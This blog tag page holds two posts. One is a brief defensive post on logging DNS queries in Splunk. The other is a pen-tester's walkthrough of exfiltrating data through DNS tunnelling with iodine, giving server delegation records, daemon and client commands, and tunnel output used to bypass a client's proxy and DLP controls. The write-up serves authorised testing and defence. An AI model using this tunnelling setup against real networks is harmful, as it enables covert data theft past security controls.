Posts Tagges "dns"

Analyzing DNS Logs Using Splunk


Back in December of 2011 I wrote a post on the ThreatSim blog called “Fighting The Advanced Attacker: 9 Security Controls You Should Add To Your Network Right Now“. One of the controls we recommended that folks implement was to log all DNS queries and the client that requested it:

Log DNS queries and the client that requested it: It’s been said that DNS is the linchpin of the Internet. It’s arguably the most basic and under appreciated human-to-technology interface. It’s no different for malware. When you suspect that a device has been compromised on your network, it’s important to be able to see what the suspected device has been up to. The DNS logs of a compromised machine will quickly allow responders to identify other machines that may also be infected.

Telling people to log DNS requests is super easy. Logging DNS queries is pretty easy too. Understanding how to ingest, analyze, process the data is where you need to bring in some tools. We love Splunk (as do many of our customers).  Splunk is the perfect tool for the job of figuring out what your clients are up to and who they are talking to. You can also set up real-time alerts if Splunk sees a DNS lookup for a known bad domain name.

Let’s implement our recommendation in real life. Here is what we did:

Read More

Data Exfiltration with Iodine


Recently I was working on a project with Nate where we were trying to circumvent our client’s internal network controls in order to send “sensitive” data out of the company via the Internet. While our client’s internal network controls weren’t the absolute best we’d ever seen, they were pretty close. Proxy with SSL termination, strong outbound FW rules, and your choice of the latest and greatest technologies aimed at preventing data exfiltration (DLP, IPS, etc.) were between us and our objective. After banging our heads against the wall, we remembered tinkering with DNS tunneling a couple of years back. A quick Google search led us to the iodine tool. iodine allows you to tunnel IPv4 data through a DNS server, provided you have access to a preconfigured server running the iodine daemon. We quickly tested our client’s internal DNS configuration by performing a NSLOOKUP of a random hostname (iodinetest) against one of our wildcarded domain names ( When we received the expected response, we knew we may be in luck. The most time consuming part of setting up iodine is the configuration of your DNS servers. In order to get iodine working, you need to setup a new subdomain, such as, and delegate DNS requests for the subdomain to your external host running iodined ( To set this up in BIND, you would simply enter the following into your configuration:

iodinens     IN     A      X.X.X.X
tunnel       IN     NS

Fortunately for us, we were packing a Virgin Mobile MiFi, so we quickly installed the iodine package on one of our external boxes (sudo apt-get install iodine in Ubuntu) while we waiting for the DNS to propagate. You also need to setup any firewall(s) you may have infront of your external server, such that 53/udp is forwarded to the server that will run the iodine daemon (and was also delegated control of your tunneling subdomain). After we confirmed that our DNS was properly setup and responding, we fired up the iodine daemon on our external server by issuing the following command:

sudo iodined -f -c -P sharedsecret

A handy little utility provided by the iodine authors allows you to test your DNS, firewall, and iodine setting all in one. The utility is available at We tested our configuration by entering into the textbox, and having the utility confirm our settings. When testing your server using this utility, make sure you do NOT set a shared-secret password or else it will not work. Simply remove the -P and the shared-secret from the above command and it will work as expected.

iodine Check-It

Once we knew the DNS, firewall, and server were all working properly, it was time to focus on the client. On the Windows XP system we were running, we installed the Win32 binaries and configured the TAP32 interface as described in the README. We had to download an additional set of drivers from OpenVPN to setup the TAP32 interface. The drivers are available here. While version 0.6.0-rc1 of iodine is the latest as of this post, it is recommended that you run the same version of the client as you do the server. The Ubuntu package we installed from the repository was version 0.5.1, so that is the version of the client we installed on our Windows XP box. Make sure you remember to rename the TAP32 interface to ‘dns’ or it will not work.

TAP32 iodine Interface

Now that the TAP32 interface was properly configured, running iodine is as simple as entering the following into the CLI:


If you can communicate directly with DNS servers residing on the Internet, then you do not need to input the local DNS server’s IP address. However, in our case all of our DNS queries first went to local DNS servers, and were then passed on to forwarding server. As such, we had to tell iodine to use the internal DNS server we were provided with via DHCP,, via the first argument. To determine if you can query DNS servers residing on the Internet directly, run NSLOOKUP and set the server to OpenDNS ( In Windows, that would be,

Default Server:

> server
Default Server:


Non-authoritative answer:

If you receive a response to the ‘server’ command that is not a timeout, you can communicate directly with DNS servers residing on the Internet. Otherwise, you are most likely forced to use Internal DNS servers. Once you execute the command, and enter your shared-secret password when prompted, you should see something akin to the following:

Opening device \\.\Global\{A6F38920-A0E1-41B6-B57B-EE75005AA49F}.tap
Opened UDP socket
Opened UDP socket
Opened UDP socket
Version ok, both using protocol v 0x00000500. You are user #0
Enabling interface 'dns'
Setting IP of interface 'dns' to (can take a few seconds)...
Switching to Base64 codec
Server switched to codec Base64
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.1152 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.960 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.864 not ok.. no query or answer in reply packet
.no query or answer in reply packet
.no query or answer in reply packet
.816 not ok.. 792 ok.. 804 ok.. will use 804
Setting downstream fragment size to max 804...
Sending queries for to
Windows version does not support detaching

Now go ahead and open up another CLI and try pinging your server’s IP, You should see something like,

Pinging with 32 bytes of data:
Reply from bytes=32 time=103ms TTL=64
Reply from bytes=32 time=103ms TTL=64
Reply from bytes=32 time=103ms TTL=64
Reply from bytes=32 time=101ms TTL=64
Ping statistics for
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 101ms, Maximum = 103ms, Average = 102ms
Believe it or not, you are all set. Now that you have a tunnel back to your remote server, you can do whatever you please. Send/receive files, setup a proxy, anything. Not too bad for not having any direct access to the Internet! Needless to say our client was very interested in this exfiltration method.
P.S. - iodine is named iodine for IP-over-DNS and because iodine is the 53rd element on the periodic table (53/udp and 53/tcp are standard DNS ports).